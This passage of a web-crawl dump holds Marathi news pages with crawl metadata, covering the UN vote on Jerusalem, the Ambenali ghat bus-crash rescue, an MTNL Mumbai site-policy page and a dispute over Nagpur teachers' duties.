संस्थेच्या रजिस्टरमध्ये ४२ मुलींची नावे आहेत. इतर मुली कुठे गेल्या, याची चौकशी सुरू आहे. मुख्यमंत्र्यांनी जिल्हाधिकाऱ्यांना हटवण्याचे निर्देश दिले आहेत.\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00307.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%B5%E0%A5%87%E0%A4%AC%E0%A4%B8%E0%A4%BE%E0%A4%88%E0%A4%9F-%E0%A4%A7%E0%A5%8B%E0%A4%B0%E0%A4%A3%E0%A5%87-%E0%A4%85%E0%A4%9F%E0%A5%80-%E0%A4%86%E0%A4%A3%E0%A4%BF-%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE", "date_download": "2018-09-25T17:13:22Z", "digest": "sha1:CPAP7CHRHEK4YOELQYASMII6XVUMIKBF", "length": 6154, "nlines": 124, "source_domain": "mtnlmumbai.in", "title": "वेबसाईट धोरणे", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nमहानगर टेलिफोन निगम लिमिटेड मुंबईची ही अधिकृत वेबसाइट आहे.\nसाइट सामान्य जनसंपर्क प्रदान करण्यासाठी विकसित केली गेली आहे. एमटीएनएल मुंबईविषयी विविध ठिकाणी हायपरलिंक्स द्वारे विश्वसनीय, सर्वसमावेशक, अचूक माहिती देण्याचा प्रयत्न केला आहे..\nनियमितपणे सामग्री कव्हरेज, डिझाइन आणि तंत्रज्ञानाच्या दृष्टीने या साइटची वाढ आणि संपन्नता पुढे चालू ठेवण्याचा आमचा प्रयत्न आहे.\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00308.warc.wet.gz", "language": "mr", "language_score": 0.63, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/setback-donald-trump/", "date_download": "2018-09-25T17:35:32Z", "digest": "sha1:7WIDSAP26HC6C6HVGQU475UI2B5DPYN5", "length": 14843, "nlines": 228, "source_domain": "www.maharashtracitynews.com", "title": "डोनाल्ड ट्रम्पना झटका ! | Top Latest Marathi News Online", "raw_content": "\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n67 प्रवाशांना घेऊन जाणारं बांगलादेशी विमान नेपाळमध्ये कोसळलं\nKisan Long March: सरकारला चुका सुधारण्याची शेवटची संधी- शरद पवार\nKisan Long March Live: शेतकऱ्यांचे शिष्टमंडळ-मंत्रिगटाच्या बैठकीत खलबतं सुरू\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\nमुंबईच्या वेशीवर किसान मोर्चा \nजेरुसलेमला इस्त्राईलच्या राजधानीची मान्यता देण्याच्या निर्णयावर अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांना संयुक्त राष्ट्राकडून जोरदार झटका मिळला आहे\n0 99 एका मिनिटापेक्षा कमी\nसंयुक्त राष्ट्रे – जेरुसलेमला इस्त्राईलच्या राजधानीची मान्यता देण्याच्या निर्णयावर अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांना संयुक्त राष्ट्राकडून जोरदार झटका मिळला आहे. अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांनी जेरुसमेलसंदर्भात केलेल्या आवाहनाकडे भारतासहीत 100हून अधिक देशांनी दुर्लक्ष केल्याचं पाहायला मिळालं. जेरुसलेमला इस्त्राईलची राजधानी म्हणून मान्यता देण्याच्या अमेरिकेच्या प्रस्तावाविरोधात गुरुवारी (22 डिसेंबर) भारतासहीत 100 हून अधिक देशांनी मतदान केले आहे. दरम्यान, अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांनी या प्रस्तावाविरोधात मतदान करणा-या देशांना अनुदानात कपात करण्याची धमकीदेखील दिली होती. परिणामी, काही देशांनी या प्रकरणातून स्वतःला अलिप्त ठेवल्याचंही पाहायला मिळालं.\nडिसेंबर महिन्याच्या सुरुवातीला अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प यांनी जेरूसलेमला इस्राईलची राजधानी म्हणून मान्यता देत असल्याचं जाहीर केलं होतं. या घडामोडींमुळे मध्यपूर्वेत हिंसक उलथापालथ होईल, असा इशारा अनेक अरब नेत्यांनी दिला होता. ‘जेरूसलेमला अधिकृतपणे इस्राईलची राजधानी म्हणून मान्यता देण्याची वेळ आली आहे, असं आपल्याला ठामपणे वाटतं आणि ती कृती योग्यच ठरेल’, असं डोनाल्ड ट्रम्प त्याबाबतची घोषणा करताना म्हटले होते.\nडोनाल्ड ट्रम्प यांच्या या वादग्रस्त निर्णयामुळे मध्यपूर्वेत तसंच जगात इतर ठिकाणी व्यापक निदर्शनं होण्याची भीती अरब नेत्यांनी व्यक्त केली होती. पण, व्हाइट हाऊसमध्ये ही घोषणा करण्याच्या निर्णयावर ट्रम्प कायम राहतील, असं त्यांच्या प्रशासनातील वरिष्ठ अधिकाऱ्यांनी सांगितलं होतं. डोनाल्ड ट्रम्प याबाबीकडे ‘ऐतिहासिक वस्तुस्थितीला मान्यता’ या दृष्टिकोनातून पाहतात, असं एका अधिकाऱ्याने पत्रकारांना सांगितलं.\nसौदी अरेबियाचे राजे सलमान व मध्यपूर्वेत अमेरिकेच्या अतिशय जवळच्या मित्रांपैकी एक असलेल्या इजिप्तचे अध्यक्ष अब्देल फतह अल-सिसी यांनी मात्र या मुद्दयावर अमेरिकेला धोक्याचा इशाराही दिला होता. या निर्णयामुळे जगातील मुस्लिमांच्या भावना भडकतील, असं राजे सलमान म्हणाले होते; तर यामुळे मध्यपूर्वेतील शांतता प्रक्रियेला खीळ बसेल असं अल-सिसी यांनी सांगितलं.\nठाकरे चरित्रपटाचा टीझर हिट\nविजय रुपाणी गुजरातचे मुख्यमंत्री,\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n67 प्रवाशांना घेऊन जाणारं बांगलादेशी विमान नेपाळमध्ये कोसळलं\nबिल गेट्सना मागे टाकत ही व्यक्ती ठरली जगात सर्वात श्रीमंत\nमुंबई विमानतळ जगातील एक नंबर\nमुंबई विमानतळ जगातील एक नंबर\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n19 /04 /2018 बुटीबोरी ग्रामपंचायत आता बुटीबोरी नगर परिषद .आ.\n18 /04/ 2018 विक्रमी वेळेत महाराष्ट्र हागणदारीमुक्त,\nकठुआ बलात्कार प्रकरण - पीडितेच्या कुटुंबियांना आणि\nतुमचा इमेल पत्ता लिहा\n11 गोदामांना भीषण आग लागली, भिवंडीत .\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00308.warc.wet.gz", "language": "mr", "language_score": 0.82, "bucket": "all"} {"url": "http://www.saamana.com/struggle-of-rescue-team-in-ambenali-valley/", "date_download": "2018-09-25T17:32:51Z", "digest": "sha1:VK5V75LTNT3SG3FQTUVJ56CKGQEBYPXP", "length": 28213, "nlines": 269, "source_domain": "www.saamana.com", "title": "खोल दरी, काळीज भेदणारा अंधार…, आंबेनळीच्या जिगरबाज मावळ्यांची २८ तास झुंज | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nखोल दरी, काळीज भेदणारा अंधार…, आंबेनळीच्या जिगरबाज मावळ्यांची २८ तास झुंज\n८०० फुटांची दुर्गम दरी… प्रचंड धुके, पावसाचा मारा आणि कान बधिर करणारा भणभणणारा वारा… अशा जीवन आणि मृत्यूच्या मध्येच दोरीवर लोंबकळत मृतदेह पाठीवर घेऊन बचावकार्य करणारे सह्याद्री ट्रेकर्स, महाबळेश्वर ट्रेकर्स आणि महाड, पोलादपुरातील स्थानिक तरुणांची टीम शनिवारी सकाळी ११ वाजल्यापासून रविवारी दुपारी ३ वाजेपर्यंत दिवसरात्रीची पर्वा न करता तब्बल २८ तास जिवावर उदार होऊन या आंबेनळीच्या शिलेदारांनी एनडीआरएफ जवानांच्या मदतीने ५०० फूट दरीतून ३० जणांचे मृतदेह बाहेर काढले. त्यांची ही जिगर पाहून एनडीआरएफच्या टीमने त्यांना सॅल्यूट केला.\nआंबेनळी घाट हा अतिशय खडतर.. ५०० फूट खोलवर छिन्नविछिन्न अवस्थेत पडलेल्या बसजवळ पोहोचणे म्हणजे मोठे आव्हान होते. मात्र ६५० फूट लांबीचा रोप दरीत टाकण्यात आला. हायड्रा क्रेनच्या सहाय्याने मृतदेह वर काढण्यात येत होते. त्याशिवाय महावितरणच्या अधिकाऱ्यांनी मोठ्या प्रकाश झोताचे फ्लड लाइट उपलब्ध करून दिले. या प्रकाशात रात्रभर सर्च ऑपरेशन करण्यात आले. घटनास्थळी १० अॅम्ब्युलन्स तैनात करण्यात आल्या होत्या. शोधकार्य संपेपर्यंत शिवसेनेचे आमदार भरत गोगावले, राजन साळवी, निरंजन डावखरे यांच्यासह रायगडचे पालकमंत्री रवींद्र चव्हाण तसेच जिल्हाधिकारी, तहसीलदार, प्रांताधिकारी हे घटनास्थळी ठिय्या मांडून होते. सर्व मृतदेह बाहेर काढल्यानंतर आज सकाळी श्रद्धांजली वाहण्यात आली.\nयादीतील घोळामुळे ‘त्यांच्या’ नातेवाईकांना मनस्ताप\nसहलीला जाण्यासाठी दापोलीतील बाळासाहेब सावंत कोकण कृषी विद्यापीठाच्या ४० कर्मचाऱ्यांची यादी तयार करण्यात आली होती. मात्र मिनी बसमध्ये ३१ कर्मचारी होते. समीर झगडे, रमण झगडे, प्रवीण रणदिवे, सी. बी. तोंडे, संतोष शिंदे, रविकिरण साळवी, अजित जाधव, अमोल सावके हे घरगुती कारणांमुळे सहलीला गेले नाहीत. शनिवारी बस दरीत कोसळल्याची दुर्घटना घडल्यानंतर मृतांची यादी जाहीर करण्यात आली. परंतु त्यात जे कर्मचारी सहलीला गेलेच नाहीत त्यांचीही नावे होती. त्यामुळे ‘त्यांच्या’ कुटुंबीयांना प्रचंड मनस्ताप सहन करावा लागला. श्रीकांत तांबे हे सहलीला न जाता घरीच थांबले होते. मात्र ते गंभीर जखमी झाले असून त्यांना मुंबईच्या रुग्णालयात दाखल केल्याचे वृत्त प्रसारमाध्यमांमधून आले. त्यामुळे नातेवाईकांचे फोन खणखणले. तब्येतीची विचारपूस अनेकांनी केली. नातेवाईक घरी जमू लागले, पण घरी असलेल्या श्रीकांत तांबे यांना पाहून नातेवाईकांचा जीव भांड्यात पडला.\nअपघात झाल्याचे वृत्त कळताच महाबळेश्वर ट्रेकर्सचे सुनीलबाबा भाटिया, अनिल केळगणे, मनोज बिरामणे, अनिकेत नागदरे, कृष्णा बावळेकर तसेच सह्याद्री ट्रेकर्सचे शिलेदार अवघ्या अर्ध्या तासात घटनास्थळी हजर झाले. त्यांच्या जोडीला खेड, पोलादपूर आणि महाडचे ट्रेकर्स, इतकेच नव्हे महाडचा चिंतन वैष्णव, अजय जाधव, सीमेवर शत्रूशी लढणारा आणि गावाला सुट्टीवर आलेला पोलादपूरचा जवान विठ्ठल महाडिक, कापडे येथील चायनीज फूड सेंटर चालवणारा राजेंद्र साने, पोलादपूरचा बाळा प्रभाळे असे असंख्य मर्दमराठे आंबेनळीच्या दरीत उतरले.\nपाऊस, धुके आणि किर्र अंधार\nअंधार पडूनही एनडीआरएफच्या ३० जणांच्या टीमसह या ट्रेकर्सनी रात्रभर शोधकार्य सुरूच ठेवले. पाऊस, धुके, चिखल आणि त्यात काळीज भेदणारा अंधार अशी स्थिती होती. त्यात साप, विंचवांचे भय. शिवाय कोणत्याही क्षणी दरड कोसळण्याची भीती… निसरडी पाऊलवाट… अशा प्रतिकूल वातावरणातही या टीमने सर्वस्व पणाला लावून शनिवारी १४ तर आज दुपारी दोनपर्यंत १६ मृतदेह बाहेर काढले. वाटेत येणारे कडे हेदेखील मोठा अडथळा ठरत होते.\nदापोलीत रविवारी अक्षरशः सन्नाटाच होता. दापोलीसह जालगाव आणि गिम्हवणे येथील बाजारपेठा बंद ठेवण्यात आल्या होत्या. गिम्हवणे-झगडेवाडीतील एकाच कुटुंबातील चार चुलतभावांसह सातजण या दुर्घटनेत मृत्युमुखी पडले. त्यामुळे गावावर शोककळा पसरली होती. त्या चौघांवरही एकाच वेळी गिम्हवणे स्मशानभूमीत अंत्यसंस्कार करण्यात आले.\nआंबेनळी घाट दुर्घटनेत शनिवारी ३३ जणांना आपले प्राण गमवावे लागले होते. त्यापैकी तब्बल सात जण दापोली तालुक्यातील गिम्हवणे गावचे होते. गावातील तरुणांच्या अशा अकाली जाण्याने गिम्हवणे गावच्या दुःखाला पारावार उरला नव्हता. दापोली-हर्णे रोडवर गिम्हवणे गाव आहे. या गावात बारा वाड्या असून प्रत्येक वाडीची एकेक स्मशानभूमी आहे. हे सर्व मरण पावलेले तरुण गिम्हवणेच्या तेलीवाडीतील राहणारे होते. गावातील तेलीवाडी आणि चर्मकारवाडी या दोन वाड्यांतील लोकांची तेलीवाडी ही एकच स्मशानभूमी आहे. वर्ष-दोन वर्षातून मृत्यूची एखादीच घटना घडत असल्याने येथील स्मशानभूमीही अपुऱ्या जागेत आहे. यावेळी मात्र अशा पद्धतीने अचानक एवढ्या मोठ्या प्रमाणात अंत्यसंस्कारांची वेळ आल्याने सारेच ग्रामस्थ भांबावले होते. मात्र एकीचे बळ दाखवत त्या ग्रामस्थांनी याच जागेत अंत्यसंस्कार करायचे ठरवत त्या अपुऱ्या जागेत सातही जणांसाठी सरणं रचल्याचे येथील ग्रामस्थ दीपक देवघरकर यांनी सांगितले.\nवारसांना सेवेत सामावून घेणार\nया सगळयांच्या कुटुंबीयांपैकी जे कायदेशीर वारस आहेत अशाना सेवेत सामावून घेतले जाईल अशी माहिती पालकमंत्री रवींद्र वायकर यांनी दिली. शासनाकडून जाहीर करण्यात आलेली ४ लाख रुपयांची मदत सोमवारी सायंकाळपर्यत महसूल विभागाकडून देण्यात येणार असल्याचे त्यांनी सांगितले. ३० पैकी २३ कर्मचाऱ्यांच्या वारसांना अनुकंपाखाली सेवेत घेण्यात येईल. त्याशिवाय उर्वरित जणांच्या वारसांनादेखील स्पेशल केस म्हणून सेवेत घेण्यासाठी आपली राज्यपाल, कुलगुरू डॉ. तपस भट्टाचार्य यांच्याशी चर्चा झाली असून मुख्यमंत्र्यांशीही आपण यासंदर्भात बोलणार असल्याचे त्यांनी यावेळी सांगितले.\nशिवसेनेकडून प्रत्येकी १ लाखाची मदत\nशिवसेना नेते आणि केंद्रीय अवजड उद्योग खात्याचे मंत्री अनंत गीते यांनी मृतांच्या कुटुंबीयांना शिवसेनेकडुन प्रत्येकी एक लाख रुपयांची मदत जाहीर केली आहे. राज्यातील अवघड रस्ते, घाट यांना प्रवासाच्या सुरक्षेसाठी बॅरिगेटस् असणे आवश्यक आहे. यासाठी आपण राज्य सरकारला पत्र लिहिणार असून यासंदर्भात होत असलेल्या दुर्लक्षाचा फटका प्रवाशांना सहन करावा लागतो याबद्दलही त्यांनी नाराजी व्यक्त केली.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलसुलोचनादीदींना दादासाहेब फाळके सन्मान कधी\nपुढीलहत्तीवर बसून बाप्पा निघाले थायलंडला\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00308.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/nagpur-news-you-get-lot-salary-us-48221", "date_download": "2018-09-25T17:31:24Z", "digest": "sha1:YOEJDE3RG3G7BDEU7VH7DJX476ULRC2I", "length": 14749, "nlines": 177, "source_domain": "www.esakal.com", "title": "nagpur news You get a lot of salary from us आमच्यापेक्षा तुम्हाला भरपूर पगार मिळतो | eSakal", "raw_content": "\nआमच्यापेक्षा तुम्हाला भरपूर पगार मिळतो\nशनिवार, 27 मे 2017\nनागपूर - आम्हाला फक्त सहा हजार रुपये मानधन मिळते. तरीही आम्ही दिवसरात्र कामे करतो. त्या तुलनेत तुम्हाला भरमसाट पगार मिळतो. त्यामुळे थोडी समाजसेवा केली तर काय बिघडणार आहे असा सवाल करून महापौर नंदा जिचकार यांनी महापालिकेच्या शिक्षकांवर हिरव्या व पिवळ्या डस्टबिनची जागृती करण्याची जबाबदारी सोपविली.\nनागपूर - आम्हाला फक्त सहा हजार रुपये मानधन मिळते. तरीही आम्ही दिवसरात्र कामे करतो. त्या तुलनेत तुम्हाला भरमसाट पगार मिळतो. त्यामुळे थोडी समाजसेवा केली तर काय बिघडणार आहे असा सवाल करून महापौर नंदा जिचकार यांनी महापालिकेच्या शिक्षकांवर हिरव्या व पिवळ्या डस्टबिनची जागृती करण्याची जबाबदारी सोपविली.\nमहापौरांनी पगार काढल्याने तसेच सुट्यांमध्ये डस्टबिनच्या कामाला जुंपल्याने महापालिका शिक्षकांमध्ये असंतोष उफाळून आला आहे. एका शिक्षकावर तब्बल सहाशे घरांची जबाबदारी सोपविली आहे. त्यांना घरोघरी जाऊन हिरव्या आणि निळ्या डस्टबिनमध्ये कुठला कचरा टाकायचा याबाबत मार्गदर्शन करायचे आहे. प्रत्येक कुटुंबाकडून स्वच्छतेविषयीचा छापील अर्ज भरून घ्यायचा आहे. तसेच त्यावर कुटुंबप्रमुखांची स्वाक्षरीसुद्धा घ्यायची आहे. 5 जूनपासून स्वच्छता जागृती मोहीम सुरू करायची आहे. यानंतर डस्टबिन वाटपाचेही काम सोपविले जाणार असल्याने शिक्षक चांगलेच संतापले आहेत. विशेष म्हणजे शिक्षकांना 10 मेपासून सुट्या लागल्या आहेत. यादरम्यान विद्यार्थ्यांच्या गणवेशाचे अनुदान थेट बॅंकांमध्ये जमा करायचे असल्याने सुट्या रद्द करून 16 मेपर्यंत सर्व विद्यार्थ्यांचे बॅंक अकाउंट उघडायला लावले. आता सुट्या मिळणार म्हणून अनेक शिक्षकांनी सुट्यांमध्ये फिरायला जाण्याचा बेत आखला. अनेकांनी रिझर्व्हेशन केले.\nकाल गुरुवारी शिक्षणाधिकाऱ्यांचा आदेश सर्वांच्या मोबाईलवर धडकला. शुक्रवारी सकाळी साडेआठ वाजता सर्व शिक्षकांची कार्यशाळा असल्याने देशपांडे सभागृहात उपस्थित राहण्याचे फर्मान सोडले होते. उपस्थित न राहिल्यास एक दिवसाचे वेतन कापण्यात येईल, अशीही धमकी देण्यात आली. शैक्षणिक कार्यशाळा असल्याने सुमार नऊशे सभागृहात पोहोचले. कार्यक्रमात महापौर, आयुक्त अश्‍विन मुद्‌गल यांच्यासह महापालिकेचे सर्वच अधिकारी व्यासपीठावर उपस्थित होते. महापौरांनी आपल्या भाषणात पगाराचा उल्लेख करून केलेल्या टिपणीने शिक्षक चांगलेच संतापले आहेत.\nआम्ही ऐवजदार आहोत का\nकार्यक्रमानंतर शिक्षकांनी आम्ही ऐवजदार आहोत का असा संतप्त सवाल केला. महापालिकेच्या सर्वच कर्मचाऱ्यांना सुट्या मिळतात. तेवढ्याच शिक्षकांना मिळतात. मात्र, निवडणूक असो वा कुठलेही काम आले की ते शिक्षकांवर थोपवले जाते. न्यायालयानेसुद्धा शैक्षणिक वगळता इतर कामे शिक्षकांना देऊ नये, असे स्पष्ट आदेश दिले आहेत. महापालिका शिक्षक संघाच्या वतीने अध्यक्ष राजेश गवरे यांनीसुद्धा याचा निषेध नोंदवला.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स 